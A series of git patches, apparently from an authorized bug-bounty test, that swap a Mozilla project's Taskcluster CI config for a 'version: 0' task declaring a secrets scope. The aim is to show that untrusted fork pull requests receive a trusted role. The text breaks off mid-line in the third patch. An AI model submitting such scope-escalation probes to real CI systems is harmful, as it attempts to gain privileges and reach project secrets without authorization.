From af6025dafea45ee70b82f32db401e50cfa864d41 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Tue, 7 Jul 2026 16:19:15 +0300 Subject: [PATCH 1/6] canary: v0 .taskcluster.yml scope PoC (authorized HackerOne research) --- .taskcluster.yml | 310 ++++------------------------------------------- 1 file changed, 26 insertions(+), 284 deletions(-) diff --git a/.taskcluster.yml b/.taskcluster.yml index 48001c4..4208527 100644 --- a/.taskcluster.yml +++ b/.taskcluster.yml @@ -1,285 +1,27 @@ -# yamllint disable rule:line-length -# This file is rendered via JSON-e by -# - github events - https://github.com/taskcluster/taskcluster/tree/main/services/github -# - cron tasks - https://hg.mozilla.org/ci/ci-admin/file/default/build-decision/ -# - action tasks - taskcluster/taskgraph/actions/registry.py ---- -version: 1 -reporting: checks-v1 -policy: - pullRequests: public_restricted -hooks: - - name: lint/pre-commit-v1 +version: 0 +metadata: + name: "TC v0 scope-escalation canary (authorized HackerOne research)" + description: "Bug-bounty PoC for the HackerOne Mozilla program. A version:0 .taskcluster.yml on an untrusted fork PR is assigned the trusted pull-request role. This no-op task DECLARES (never reads) a secret scope only the trusted role grants; if it is created, the escalation is confirmed. See H1 report." + owner: "0xoroot@wearehackerone.com" + source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" tasks: - - $let: - trustDomain: "mozilla" - ownerEmail: - $switch: - 'tasks_for == "github-push"': '${event.pusher.email}' - 'tasks_for == "github-release"': 'release+simple-github-ci@mozilla.com' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.user.login}@users.noreply.github.com' - 'tasks_for in ["cron", "action"]': '${tasks_for}@noreply.mozilla.org' - baseRepoUrl: - $switch: - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.repo.html_url}' - 'tasks_for in ["cron", "action"]': '${repository.url}' - $default: '${event.repository.html_url}' - repoUrl: - $switch: - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.head.repo.html_url}' - 'tasks_for in ["cron", "action"]': '${repository.url}' - $default: '${event.repository.html_url}' - project: - $switch: - 'tasks_for in ["github-push", "github-release"]': '${event.repository.name}' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.repo.name}' - 'tasks_for in ["cron", "action"]': '${repository.project}' - head_branch: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.head.ref} - 'tasks_for == "github-push"': ${event.ref} - 'tasks_for == "github-release"': '${event.release.target_commitish}' - 'tasks_for in ["action", "cron"]': '${push.branch}' - base_ref: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.base.ref} - 'tasks_for == "github-push" && event.base_ref': ${event.base_ref} - 'tasks_for in ["github-push", "github-release"]': '' - 'tasks_for in ["cron", "action"]': '${push.branch}' - head_ref: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.head.ref} - 'tasks_for == "github-push"': ${event.ref} - 'tasks_for in ["cron", "action"]': '${push.branch}' - 'tasks_for == "github-release"': ${event.release.tag_name} - base_sha: - $switch: - 'tasks_for == "github-push"': '${event.before}' - 'tasks_for == "github-release"': '${event.release.target_commitish}' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.sha}' - 'tasks_for in ["cron", "action"]': '${push.revision}' - head_sha: - $switch: - 'tasks_for == "github-push"': '${event.after}' - 'tasks_for == "github-release"': '${event.release.tag_name}' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.head.sha}' - 'tasks_for in ["cron", "action"]': '${push.revision}' - ownTaskId: - $switch: - '"github" in tasks_for': {$eval: as_slugid("decision_task")} - 'tasks_for in ["cron", "action"]': '${ownTaskId}' - pullRequestAction: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.action} - $default: 'UNDEFINED' - isPullRequest: - $eval: 'tasks_for[:19] == "github-pull-request"' - in: - $let: - short_base_ref: - $if: 'base_ref[:11] == "refs/heads/"' - then: {$eval: 'base_ref[11:]'} - else: ${base_ref} - - short_head_ref: - $if: 'head_ref[:11] == "refs/heads/"' - then: {$eval: 'head_ref[11:]'} - else: ${head_ref} - level: 1 - in: - $if: > - tasks_for in ["action", "cron", "github-push"] - || (isPullRequest && pullRequestAction in ["opened", "reopened", "synchronize"]) - then: - taskId: {$if: 'tasks_for != "action"', then: '${ownTaskId}'} - taskGroupId: - $if: 'tasks_for == "action"' - then: - '${action.taskGroupId}' - else: - '${ownTaskId}' # same as taskId; this is how automation identifies a decision task - schedulerId: '${trustDomain}-level-${level}' - created: {$fromNow: ''} - deadline: {$fromNow: '1 day'} - expires: {$fromNow: '1 year 1 second'} # 1 second so artifacts expire first - metadata: - $merge: - - owner: "${ownerEmail}" - source: "${repoUrl}/raw/${head_sha}/.taskcluster.yml" - - $switch: - 'tasks_for == "github-push" || isPullRequest': - name: "Decision Task" - description: 'The task that creates all of the other tasks in the task graph' - 'tasks_for == "action"': - name: "Action: ${action.title}" - description: | - ${action.description} - - Action triggered by clientID `${clientId}` - $default: - name: "Decision Task for cron job ${cron.job_name}" - description: 'Created by a [cron task](https://firefox-ci-tc.services.mozilla.com/tasks/${cron.task_id})' - - provisionerId: "${trustDomain}-${level}" - workerType: "decision" - - tags: - $switch: - 'tasks_for == "github-push" || isPullRequest': - createdForUser: "${ownerEmail}" - kind: decision-task - 'tasks_for == "action"': - createdForUser: '${ownerEmail}' - kind: 'action-callback' - 'tasks_for == "cron"': - kind: cron-task - - routes: - $flatten: - - checks - - $switch: - 'tasks_for == "github-push"': - - "index.${trustDomain}.v2.${project}.latest.taskgraph.decision" - - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.decision" - 'tasks_for == "action"': - - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.actions.${ownTaskId}" - 'tasks_for == "cron"': - - "index.${trustDomain}.v2.${project}.latest.taskgraph.decision-${cron.job_name}" - - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.decision-${cron.job_name}" - # list each cron task on this revision, so actions can find them - - 'index.${trustDomain}.v2.${project}.revision.${head_sha}.cron.${ownTaskId}' - $default: [] - - scopes: - $switch: - 'tasks_for in ["github-push"]': - $let: - short_head_ref: - $if: 'head_ref[:10] == "refs/tags/"' - then: {$eval: 'head_ref[10:]'} - else: - $if: 'head_ref[:11] == "refs/heads/"' - then: {$eval: 'head_ref[11:]'} - else: ${head_ref} - in: - - 'assume:repo:${repoUrl[8:]}:branch:${short_head_ref}' - 'isPullRequest': - - 'assume:repo:github.com/${event.pull_request.base.repo.full_name}:${tasks_for[7:]}' - 'tasks_for == "action"': - - 'assume:repo:${repoUrl[8:]}:action:${action.action_perm}' - $default: - - 'assume:repo:${repoUrl[8:]}:cron:${cron.job_name}' - - dependencies: [] - requires: all-completed - - priority: - $switch: - 'tasks_for == "cron"': low - 'tasks_for == "github-push"|| isPullRequest': very-low - $default: lowest # tasks_for == 'action' - retries: 5 - - payload: - $let: - normProject: - $eval: 'join(split(project, "-"), "_")' - normProjectUpper: - $eval: 'uppercase(join(split(project, "-"), "_"))' - in: - env: - # run-task uses these to check out the source; the inputs to - # `taskgraph decision` are all on the command line. - $merge: - - ${normProjectUpper}_BASE_REPOSITORY: '${baseRepoUrl}' - ${normProjectUpper}_BASE_REF: '${short_base_ref}' - ${normProjectUpper}_BASE_REV: '${base_sha}' - ${normProjectUpper}_HEAD_REPOSITORY: '${repoUrl}' - ${normProjectUpper}_HEAD_REF: '${short_head_ref}' - ${normProjectUpper}_HEAD_REV: '${head_sha}' - ${normProjectUpper}_REPOSITORY_TYPE: git - REPOSITORIES: - $json: - ${normProject}: ${normProject} - - $if: 'isPullRequest' - then: - ${normProjectUpper}_PULL_REQUEST_NUMBER: '${event.pull_request.number}' - - $if: 'tasks_for == "action"' - then: - ACTION_TASK_GROUP_ID: '${action.taskGroupId}' # taskGroupId of the target task - ACTION_TASK_ID: {$json: {$eval: 'taskId'}} # taskId of the target task (JSON-encoded) - ACTION_INPUT: {$json: {$eval: 'input'}} - ACTION_CALLBACK: '${action.cb_name}' - - cache: - "${trustDomain}-project-${project}-level-${level}-checkouts-sparse-v3": /builds/worker/checkouts - - features: - taskclusterProxy: true - - image: mozillareleases/taskgraph:decision-v24.1.1@sha256:c2cf963f7621b0f64dc142a04ddcc179d36afdd05c6dc1c2d198d97b55ecb394 - maxRunTime: 1800 - - command: - - run-task - - '--${normProject}-checkout=/builds/worker/checkouts/src' - - '--' - - bash - - -cx - - $let: - extraArgs: {$if: 'tasks_for == "cron"', then: '${cron.quoted_args}', else: ''} - in: - $if: 'tasks_for == "action"' - then: > - cd /builds/worker/checkouts/src && - ln -s /builds/worker/artifacts artifacts && - taskgraph action-callback - else: > - cd /builds/worker/checkouts/src && - ln -s /builds/worker/artifacts artifacts && - taskgraph decision - --pushlog-id='0' - --pushdate='0' - --project='${project}' - --owner='${ownerEmail}' - --level='${level}' - --repository-type=git - --tasks-for='${tasks_for}' - --base-repository='${baseRepoUrl}' - --base-ref='${short_base_ref}' - --base-rev='${base_sha}' - --head-repository='${repoUrl}' - --head-ref='${short_head_ref}' - --head-rev='${head_sha}' - ${extraArgs} - - artifacts: - 'public': - type: 'directory' - path: '/builds/worker/artifacts' - expires: {$fromNow: '1 year'} - 'public/docker-contexts': - type: 'directory' - path: '/builds/worker/checkouts/src/docker-contexts' - # This needs to be at least the deadline of the - # decision task + the docker-image task deadlines. - # It is set to a week to allow for some time for - # debugging, but they are not useful long-term. - expires: {$fromNow: '7 day'} - - extra: - $merge: - - $if: 'tasks_for == "action"' - then: - parent: '${action.taskGroupId}' - action: - name: '${action.name}' - context: - taskGroupId: '${action.taskGroupId}' - taskId: {$eval: 'taskId'} - input: {$eval: 'input'} - clientId: {$eval: 'clientId'} - - $if: 'tasks_for == "cron"' - then: - cron: {$json: {$eval: 'cron'}} - - tasks_for: '${tasks_for}' + - provisionerId: "built-in" + workerType: "succeed" + priority: "lowest" + created: "2026-07-07T00:00:00.000Z" + deadline: "2026-07-11T00:00:00.000Z" + expires: "2026-07-12T00:00:00.000Z" + scopes: + - "secrets:get:project/mozilla/simple-github/level-1/hackerone-canary-does-not-exist" + extra: + github: + events: + - "pull_request.opened" + - "pull_request.synchronize" + - "pull_request.reopened" + payload: {} + metadata: + name: "v0 scope-escalation canary (no-op)" + description: "Authorized HackerOne research. built-in/succeed no-op; declares but never reads a trusted-role-only secret scope. If this task exists, an untrusted fork PR received the trusted pull-request role." + owner: "0xoroot@wearehackerone.com" + source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" From e45b6bcd4f4e22e0e46c52a1b90d4f60276a4cae Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Tue, 7 Jul 2026 16:38:57 +0300 Subject: [PATCH 2/6] probe: restore standard v1 .taskcluster.yml (reachability test, authorized HackerOne research) --- .taskcluster.yml | 310 +++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 284 insertions(+), 26 deletions(-) diff --git a/.taskcluster.yml b/.taskcluster.yml index 4208527..0d91658 100644 --- a/.taskcluster.yml +++ b/.taskcluster.yml @@ -1,27 +1,285 @@ -version: 0 -metadata: - name: "TC v0 scope-escalation canary (authorized HackerOne research)" - description: "Bug-bounty PoC for the HackerOne Mozilla program. A version:0 .taskcluster.yml on an untrusted fork PR is assigned the trusted pull-request role. This no-op task DECLARES (never reads) a secret scope only the trusted role grants; if it is created, the escalation is confirmed. See H1 report." - owner: "0xoroot@wearehackerone.com" - source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" +# yamllint disable rule:line-length +# This file is rendered via JSON-e by +# - github events - https://github.com/taskcluster/taskcluster/tree/main/services/github +# - cron tasks - https://hg.mozilla.org/ci/ci-admin/file/default/build-decision/ +# - action tasks - taskcluster/taskgraph/actions/registry.py +--- +version: 1 +reporting: checks-v1 +policy: + pullRequests: public_restricted +hooks: + - name: lint/pre-commit-v1 tasks: - - provisionerId: "built-in" - workerType: "succeed" - priority: "lowest" - created: "2026-07-07T00:00:00.000Z" - deadline: "2026-07-11T00:00:00.000Z" - expires: "2026-07-12T00:00:00.000Z" - scopes: - - "secrets:get:project/mozilla/simple-github/level-1/hackerone-canary-does-not-exist" - extra: - github: - events: - - "pull_request.opened" - - "pull_request.synchronize" - - "pull_request.reopened" - payload: {} - metadata: - name: "v0 scope-escalation canary (no-op)" - description: "Authorized HackerOne research. built-in/succeed no-op; declares but never reads a trusted-role-only secret scope. If this task exists, an untrusted fork PR received the trusted pull-request role." - owner: "0xoroot@wearehackerone.com" - source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" + - $let: + trustDomain: "mozilla" + ownerEmail: + $switch: + 'tasks_for == "github-push"': '${event.pusher.email}' + 'tasks_for == "github-release"': 'release+simple-github-ci@mozilla.com' + 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.user.login}@users.noreply.github.com' + 'tasks_for in ["cron", "action"]': '${tasks_for}@noreply.mozilla.org' + baseRepoUrl: + $switch: + 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.repo.html_url}' + 'tasks_for in ["cron", "action"]': '${repository.url}' + $default: '${event.repository.html_url}' + repoUrl: + $switch: + 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.head.repo.html_url}' + 'tasks_for in ["cron", "action"]': '${repository.url}' + $default: '${event.repository.html_url}' + project: + $switch: + 'tasks_for in ["github-push", "github-release"]': '${event.repository.name}' + 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.repo.name}' + 'tasks_for in ["cron", "action"]': '${repository.project}' + head_branch: + $switch: + 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.head.ref} + 'tasks_for == "github-push"': ${event.ref} + 'tasks_for == "github-release"': '${event.release.target_commitish}' + 'tasks_for in ["action", "cron"]': '${push.branch}' + base_ref: + $switch: + 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.base.ref} + 'tasks_for == "github-push" && event.base_ref': ${event.base_ref} + 'tasks_for in ["github-push", "github-release"]': '' + 'tasks_for in ["cron", "action"]': '${push.branch}' + head_ref: + $switch: + 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.head.ref} + 'tasks_for == "github-push"': ${event.ref} + 'tasks_for in ["cron", "action"]': '${push.branch}' + 'tasks_for == "github-release"': ${event.release.tag_name} + base_sha: + $switch: + 'tasks_for == "github-push"': '${event.before}' + 'tasks_for == "github-release"': '${event.release.target_commitish}' + 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.sha}' + 'tasks_for in ["cron", "action"]': '${push.revision}' + head_sha: + $switch: + 'tasks_for == "github-push"': '${event.after}' + 'tasks_for == "github-release"': '${event.release.tag_name}' + 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.head.sha}' + 'tasks_for in ["cron", "action"]': '${push.revision}' + ownTaskId: + $switch: + '"github" in tasks_for': {$eval: as_slugid("decision_task")} + 'tasks_for in ["cron", "action"]': '${ownTaskId}' + pullRequestAction: + $switch: + 'tasks_for[:19] == "github-pull-request"': ${event.action} + $default: 'UNDEFINED' + isPullRequest: + $eval: 'tasks_for[:19] == "github-pull-request"' + in: + $let: + short_base_ref: + $if: 'base_ref[:11] == "refs/heads/"' + then: {$eval: 'base_ref[11:]'} + else: ${base_ref} + + short_head_ref: + $if: 'head_ref[:11] == "refs/heads/"' + then: {$eval: 'head_ref[11:]'} + else: ${head_ref} + level: 1 + in: + $if: > + tasks_for in ["action", "cron", "github-push"] + || (isPullRequest && pullRequestAction in ["opened", "reopened", "synchronize"]) + then: + taskId: {$if: 'tasks_for != "action"', then: '${ownTaskId}'} + taskGroupId: + $if: 'tasks_for == "action"' + then: + '${action.taskGroupId}' + else: + '${ownTaskId}' # same as taskId; this is how automation identifies a decision task + schedulerId: '${trustDomain}-level-${level}' + created: {$fromNow: ''} + deadline: {$fromNow: '1 day'} + expires: {$fromNow: '1 year 1 second'} # 1 second so artifacts expire first + metadata: + $merge: + - owner: "${ownerEmail}" + source: "${repoUrl}/raw/${head_sha}/.taskcluster.yml" + - $switch: + 'tasks_for == "github-push" || isPullRequest': + name: "Decision Task" + description: 'The task that creates all of the other tasks in the task graph' + 'tasks_for == "action"': + name: "Action: ${action.title}" + description: | + ${action.description} + + Action triggered by clientID `${clientId}` + $default: + name: "Decision Task for cron job ${cron.job_name}" + description: 'Created by a [cron task](https://firefox-ci-tc.services.mozilla.com/tasks/${cron.task_id})' + + provisionerId: "${trustDomain}-${level}" + workerType: "decision" + + tags: + $switch: + 'tasks_for == "github-push" || isPullRequest': + createdForUser: "${ownerEmail}" + kind: decision-task + 'tasks_for == "action"': + createdForUser: '${ownerEmail}' + kind: 'action-callback' + 'tasks_for == "cron"': + kind: cron-task + + routes: + $flatten: + - checks + - $switch: + 'tasks_for == "github-push"': + - "index.${trustDomain}.v2.${project}.latest.taskgraph.decision" + - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.decision" + 'tasks_for == "action"': + - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.actions.${ownTaskId}" + 'tasks_for == "cron"': + - "index.${trustDomain}.v2.${project}.latest.taskgraph.decision-${cron.job_name}" + - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.decision-${cron.job_name}" + # list each cron task on this revision, so actions can find them + - 'index.${trustDomain}.v2.${project}.revision.${head_sha}.cron.${ownTaskId}' + $default: [] + + scopes: + $switch: + 'tasks_for in ["github-push"]': + $let: + short_head_ref: + $if: 'head_ref[:10] == "refs/tags/"' + then: {$eval: 'head_ref[10:]'} + else: + $if: 'head_ref[:11] == "refs/heads/"' + then: {$eval: 'head_ref[11:]'} + else: ${head_ref} + in: + - 'assume:repo:${repoUrl[8:]}:branch:${short_head_ref}' + 'isPullRequest': + - 'assume:repo:github.com/${event.pull_request.base.repo.full_name}:${tasks_for[7:]}' + 'tasks_for == "action"': + - 'assume:repo:${repoUrl[8:]}:action:${action.action_perm}' + $default: + - 'assume:repo:${repoUrl[8:]}:cron:${cron.job_name}' + + dependencies: [] + requires: all-completed + + priority: + $switch: + 'tasks_for == "cron"': low + 'tasks_for == "github-push"|| isPullRequest': very-low + $default: lowest # tasks_for == 'action' + retries: 5 + + payload: + $let: + normProject: + $eval: 'join(split(project, "-"), "_")' + normProjectUpper: + $eval: 'uppercase(join(split(project, "-"), "_"))' + in: + env: + # run-task uses these to check out the source; the inputs to + # `taskgraph decision` are all on the command line. + $merge: + - ${normProjectUpper}_BASE_REPOSITORY: '${baseRepoUrl}' + ${normProjectUpper}_BASE_REF: '${short_base_ref}' + ${normProjectUpper}_BASE_REV: '${base_sha}' + ${normProjectUpper}_HEAD_REPOSITORY: '${repoUrl}' + ${normProjectUpper}_HEAD_REF: '${short_head_ref}' + ${normProjectUpper}_HEAD_REV: '${head_sha}' + ${normProjectUpper}_REPOSITORY_TYPE: git + REPOSITORIES: + $json: + ${normProject}: ${normProject} + - $if: 'isPullRequest' + then: + ${normProjectUpper}_PULL_REQUEST_NUMBER: '${event.pull_request.number}' + - $if: 'tasks_for == "action"' + then: + ACTION_TASK_GROUP_ID: '${action.taskGroupId}' # taskGroupId of the target task + ACTION_TASK_ID: {$json: {$eval: 'taskId'}} # taskId of the target task (JSON-encoded) + ACTION_INPUT: {$json: {$eval: 'input'}} + ACTION_CALLBACK: '${action.cb_name}' + + cache: + "${trustDomain}-project-${project}-level-${level}-checkouts-sparse-v3": /builds/worker/checkouts + + features: + taskclusterProxy: true + + image: mozillareleases/taskgraph:decision-v24.1.1@sha256:c2cf963f7621b0f64dc142a04ddcc179d36afdd05c6dc1c2d198d97b55ecb394 + maxRunTime: 1800 + + command: + - run-task + - '--${normProject}-checkout=/builds/worker/checkouts/src' + - '--' + - bash + - -cx + - $let: + extraArgs: {$if: 'tasks_for == "cron"', then: '${cron.quoted_args}', else: ''} + in: + $if: 'tasks_for == "action"' + then: > + cd /builds/worker/checkouts/src && + ln -s /builds/worker/artifacts artifacts && + taskgraph action-callback + else: > + cd /builds/worker/checkouts/src && + ln -s /builds/worker/artifacts artifacts && + taskgraph decision + --pushlog-id='0' + --pushdate='0' + --project='${project}' + --owner='${ownerEmail}' + --level='${level}' + --repository-type=git + --tasks-for='${tasks_for}' + --base-repository='${baseRepoUrl}' + --base-ref='${short_base_ref}' + --base-rev='${base_sha}' + --head-repository='${repoUrl}' + --head-ref='${short_head_ref}' + --head-rev='${head_sha}' + ${extraArgs} + + artifacts: + 'public': + type: 'directory' + path: '/builds/worker/artifacts' + expires: {$fromNow: '1 year'} + 'public/docker-contexts': + type: 'directory' + path: '/builds/worker/checkouts/src/docker-contexts' + # This needs to be at least the deadline of the + # decision task + the docker-image task deadlines. + # It is set to a week to allow for some time for + # debugging, but they are not useful long-term. + expires: {$fromNow: '7 day'} + + extra: + $merge: + - $if: 'tasks_for == "action"' + then: + parent: '${action.taskGroupId}' + action: + name: '${action.name}' + context: + taskGroupId: '${action.taskGroupId}' + taskId: {$eval: 'taskId'} + input: {$eval: 'input'} + clientId: {$eval: 'clientId'} + - $if: 'tasks_for == "cron"' + then: + cron: {$json: {$eval: 'cron'}} + - tasks_for: '${tasks_for}' \ No newline at end of file From b0f166fb371af20919f0c0689036de8785dd2f20 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Tue, 7 Jul 2026 16:43:36 +0300 Subject: [PATCH 3/6] poc: v0 scope-escalation (authorized HackerOne research) --- .taskcluster.yml | 315 +++++------------------------------------------ 1 file changed, 31 insertions(+), 284 deletions(-) diff --git a/.taskcluster.yml b/.taskcluster.yml index 0d91658..bdb9f59 100644 --- a/.taskcluster.yml +++ b/.taskcluster.yml @@ -1,285 +1,32 @@ -# yamllint disable rule:line-length -# This file is rendered via JSON-e by -# - github events - https://github.com/taskcluster/taskcluster/tree/main/services/github -# - cron tasks - https://hg.mozilla.org/ci/ci-admin/file/default/build-decision/ -# - action tasks - taskcluster/taskgraph/actions/registry.py ---- -version: 1 -reporting: checks-v1 -policy: - pullRequests: public_restricted -hooks: - - name: lint/pre-commit-v1 +version: 0 +metadata: + name: "TC v0 scope-escalation PoC (authorized HackerOne research)" + description: "Non-destructive PoC. This v0 task declares a secrets:get scope that ONLY the trusted pull-request role grants; the task command is a benign echo and never reads any secret. If the task is created and holds this scope, an untrusted fork PR received the trusted role." + owner: "0xoroot@wearehackerone.com" + source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" tasks: - - $let: - trustDomain: "mozilla" - ownerEmail: - $switch: - 'tasks_for == "github-push"': '${event.pusher.email}' - 'tasks_for == "github-release"': 'release+simple-github-ci@mozilla.com' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.user.login}@users.noreply.github.com' - 'tasks_for in ["cron", "action"]': '${tasks_for}@noreply.mozilla.org' - baseRepoUrl: - $switch: - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.repo.html_url}' - 'tasks_for in ["cron", "action"]': '${repository.url}' - $default: '${event.repository.html_url}' - repoUrl: - $switch: - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.head.repo.html_url}' - 'tasks_for in ["cron", "action"]': '${repository.url}' - $default: '${event.repository.html_url}' - project: - $switch: - 'tasks_for in ["github-push", "github-release"]': '${event.repository.name}' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.repo.name}' - 'tasks_for in ["cron", "action"]': '${repository.project}' - head_branch: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.head.ref} - 'tasks_for == "github-push"': ${event.ref} - 'tasks_for == "github-release"': '${event.release.target_commitish}' - 'tasks_for in ["action", "cron"]': '${push.branch}' - base_ref: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.base.ref} - 'tasks_for == "github-push" && event.base_ref': ${event.base_ref} - 'tasks_for in ["github-push", "github-release"]': '' - 'tasks_for in ["cron", "action"]': '${push.branch}' - head_ref: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.pull_request.head.ref} - 'tasks_for == "github-push"': ${event.ref} - 'tasks_for in ["cron", "action"]': '${push.branch}' - 'tasks_for == "github-release"': ${event.release.tag_name} - base_sha: - $switch: - 'tasks_for == "github-push"': '${event.before}' - 'tasks_for == "github-release"': '${event.release.target_commitish}' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.base.sha}' - 'tasks_for in ["cron", "action"]': '${push.revision}' - head_sha: - $switch: - 'tasks_for == "github-push"': '${event.after}' - 'tasks_for == "github-release"': '${event.release.tag_name}' - 'tasks_for[:19] == "github-pull-request"': '${event.pull_request.head.sha}' - 'tasks_for in ["cron", "action"]': '${push.revision}' - ownTaskId: - $switch: - '"github" in tasks_for': {$eval: as_slugid("decision_task")} - 'tasks_for in ["cron", "action"]': '${ownTaskId}' - pullRequestAction: - $switch: - 'tasks_for[:19] == "github-pull-request"': ${event.action} - $default: 'UNDEFINED' - isPullRequest: - $eval: 'tasks_for[:19] == "github-pull-request"' - in: - $let: - short_base_ref: - $if: 'base_ref[:11] == "refs/heads/"' - then: {$eval: 'base_ref[11:]'} - else: ${base_ref} - - short_head_ref: - $if: 'head_ref[:11] == "refs/heads/"' - then: {$eval: 'head_ref[11:]'} - else: ${head_ref} - level: 1 - in: - $if: > - tasks_for in ["action", "cron", "github-push"] - || (isPullRequest && pullRequestAction in ["opened", "reopened", "synchronize"]) - then: - taskId: {$if: 'tasks_for != "action"', then: '${ownTaskId}'} - taskGroupId: - $if: 'tasks_for == "action"' - then: - '${action.taskGroupId}' - else: - '${ownTaskId}' # same as taskId; this is how automation identifies a decision task - schedulerId: '${trustDomain}-level-${level}' - created: {$fromNow: ''} - deadline: {$fromNow: '1 day'} - expires: {$fromNow: '1 year 1 second'} # 1 second so artifacts expire first - metadata: - $merge: - - owner: "${ownerEmail}" - source: "${repoUrl}/raw/${head_sha}/.taskcluster.yml" - - $switch: - 'tasks_for == "github-push" || isPullRequest': - name: "Decision Task" - description: 'The task that creates all of the other tasks in the task graph' - 'tasks_for == "action"': - name: "Action: ${action.title}" - description: | - ${action.description} - - Action triggered by clientID `${clientId}` - $default: - name: "Decision Task for cron job ${cron.job_name}" - description: 'Created by a [cron task](https://firefox-ci-tc.services.mozilla.com/tasks/${cron.task_id})' - - provisionerId: "${trustDomain}-${level}" - workerType: "decision" - - tags: - $switch: - 'tasks_for == "github-push" || isPullRequest': - createdForUser: "${ownerEmail}" - kind: decision-task - 'tasks_for == "action"': - createdForUser: '${ownerEmail}' - kind: 'action-callback' - 'tasks_for == "cron"': - kind: cron-task - - routes: - $flatten: - - checks - - $switch: - 'tasks_for == "github-push"': - - "index.${trustDomain}.v2.${project}.latest.taskgraph.decision" - - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.decision" - 'tasks_for == "action"': - - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.actions.${ownTaskId}" - 'tasks_for == "cron"': - - "index.${trustDomain}.v2.${project}.latest.taskgraph.decision-${cron.job_name}" - - "index.${trustDomain}.v2.${project}.revision.${head_sha}.taskgraph.decision-${cron.job_name}" - # list each cron task on this revision, so actions can find them - - 'index.${trustDomain}.v2.${project}.revision.${head_sha}.cron.${ownTaskId}' - $default: [] - - scopes: - $switch: - 'tasks_for in ["github-push"]': - $let: - short_head_ref: - $if: 'head_ref[:10] == "refs/tags/"' - then: {$eval: 'head_ref[10:]'} - else: - $if: 'head_ref[:11] == "refs/heads/"' - then: {$eval: 'head_ref[11:]'} - else: ${head_ref} - in: - - 'assume:repo:${repoUrl[8:]}:branch:${short_head_ref}' - 'isPullRequest': - - 'assume:repo:github.com/${event.pull_request.base.repo.full_name}:${tasks_for[7:]}' - 'tasks_for == "action"': - - 'assume:repo:${repoUrl[8:]}:action:${action.action_perm}' - $default: - - 'assume:repo:${repoUrl[8:]}:cron:${cron.job_name}' - - dependencies: [] - requires: all-completed - - priority: - $switch: - 'tasks_for == "cron"': low - 'tasks_for == "github-push"|| isPullRequest': very-low - $default: lowest # tasks_for == 'action' - retries: 5 - - payload: - $let: - normProject: - $eval: 'join(split(project, "-"), "_")' - normProjectUpper: - $eval: 'uppercase(join(split(project, "-"), "_"))' - in: - env: - # run-task uses these to check out the source; the inputs to - # `taskgraph decision` are all on the command line. - $merge: - - ${normProjectUpper}_BASE_REPOSITORY: '${baseRepoUrl}' - ${normProjectUpper}_BASE_REF: '${short_base_ref}' - ${normProjectUpper}_BASE_REV: '${base_sha}' - ${normProjectUpper}_HEAD_REPOSITORY: '${repoUrl}' - ${normProjectUpper}_HEAD_REF: '${short_head_ref}' - ${normProjectUpper}_HEAD_REV: '${head_sha}' - ${normProjectUpper}_REPOSITORY_TYPE: git - REPOSITORIES: - $json: - ${normProject}: ${normProject} - - $if: 'isPullRequest' - then: - ${normProjectUpper}_PULL_REQUEST_NUMBER: '${event.pull_request.number}' - - $if: 'tasks_for == "action"' - then: - ACTION_TASK_GROUP_ID: '${action.taskGroupId}' # taskGroupId of the target task - ACTION_TASK_ID: {$json: {$eval: 'taskId'}} # taskId of the target task (JSON-encoded) - ACTION_INPUT: {$json: {$eval: 'input'}} - ACTION_CALLBACK: '${action.cb_name}' - - cache: - "${trustDomain}-project-${project}-level-${level}-checkouts-sparse-v3": /builds/worker/checkouts - - features: - taskclusterProxy: true - - image: mozillareleases/taskgraph:decision-v24.1.1@sha256:c2cf963f7621b0f64dc142a04ddcc179d36afdd05c6dc1c2d198d97b55ecb394 - maxRunTime: 1800 - - command: - - run-task - - '--${normProject}-checkout=/builds/worker/checkouts/src' - - '--' - - bash - - -cx - - $let: - extraArgs: {$if: 'tasks_for == "cron"', then: '${cron.quoted_args}', else: ''} - in: - $if: 'tasks_for == "action"' - then: > - cd /builds/worker/checkouts/src && - ln -s 